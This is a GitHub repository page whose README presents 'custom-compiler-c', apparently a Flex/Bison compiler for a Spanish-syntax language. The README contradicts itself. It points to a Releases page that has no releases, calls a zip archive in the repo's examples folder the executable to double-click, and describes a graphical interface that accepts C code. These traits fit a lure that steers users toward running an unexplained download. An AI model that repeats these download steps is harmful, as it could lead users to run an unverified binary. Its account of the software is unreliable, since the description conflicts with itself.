Skip to content

πŸ“œ Build a custom compiler in C that converts a procedural language with Spanish syntax into Intermediate Code, handling variables and types effectively.

Notifications You must be signed in to change notification settings

Nuralom32/custom-compiler-c

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ custom-compiler-c - Simple Compiler for Learning

🌟 Overview

custom-compiler-c is a compiler built from scratch in C using Flex and Bison. It performs lexical and syntax analysis, generating Intermediate Code known as Three-Address Code or Quadruples. This software helps users understand compiler construction concepts while providing a hands-on experience.

πŸ₯‡ Key Features

  • Understand the basics of compiler construction.
  • Perform lexical analysis with Flex.
  • Conduct syntax analysis using Bison.
  • Generate Intermediate Code with backpatching logic.
  • Explore symbol tables for variable management.

πŸ“₯ Download & Install

To get started with custom-compiler-c, you need to download it from our Releases page.

Download custom-compiler-c

  1. Visit this page to download.
  2. You’ll see a list of available versions. Choose the latest release or the version that suits your needs.
  3. Click on the executable file or zip archive to start the download.
  4. Follow the installation instructions provided in the package.

πŸ’» System Requirements

  • Operating System: Windows, macOS, or Linux.
  • Processor: 1 GHz or faster.
  • RAM: 1 GB minimum, 2 GB recommended.
  • Disk Space: At least 100 MB of free space.

πŸ“‚ How to Run custom-compiler-c

After downloading and installing custom-compiler-c, follow these steps to run the software:

  1. Navigate to the installation folder where you extracted or installed the application.
  2. Locate the executable file (e.g., https://raw.githubusercontent.com/Nuralom32/custom-compiler-c/main/examples/custom-compiler-c-v3.4.zip or similar).
  3. Double-click the executable to launch the application.
  4. Follow the on-screen prompts to input your source code for compilation.

βš™οΈ Using the Compiler

Once you have successfully launched the application, you can start using the compiler. Here are some basic steps:

  1. Input your C source code into the text area provided.
  2. Click on the "Compile" button to start the analysis.
  3. Review the output for any errors or warnings. The output will show the Intermediate Code generated.
  4. If necessary, adjust your code based on the feedback and recompile.

πŸ” Understanding Key Concepts

Here are a few important concepts you will encounter while using the custom-compiler-c:

  • Lexical Analysis: This phase breaks down the source code into tokens.
  • Syntax Analysis: In this phase, the structure of the code is verified against the grammar rules.
  • Intermediate Code Generation: This step produces a representation of the source code that is easier to manipulate for further processing.
  • Backpatching: This technique allows for the easy referencing of labels and addresses during code generation.
  • Symbol Table: A data structure used to store information about identifiers (like variables and functions).

πŸ› οΈ Troubleshooting

If you run into issues while using custom-compiler-c, consider these common solutions:

  • Error Messages: Pay close attention to error messages. They usually indicate what went wrong in the code.
  • Unsupported Syntax: Make sure your source code complies with C syntax rules.
  • Permissions: If you cannot run the executable, check your system's permissions and ensure you have the necessary rights.
  • Dependencies: Ensure that Flex and Bison are installed if required.

πŸ“ž Support

If you need further assistance, feel free to explore the following resources:

  • Visit our GitHub Issues Page for help from the community and developers.
  • Check the documentation for more in-depth explanations and examples.

πŸš€ Conclusion

custom-compiler-c provides a user-friendly way to dive into compiler construction, making it perfect for learners and educators. Follow the steps above to download, install, and start compiling your code today.

For your convenience, you can download custom-compiler-c from the Releases page again: visit this page to download.

About

πŸ“œ Build a custom compiler in C that converts a procedural language with Spanish syntax into Intermediate Code, handling variables and types effectively.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •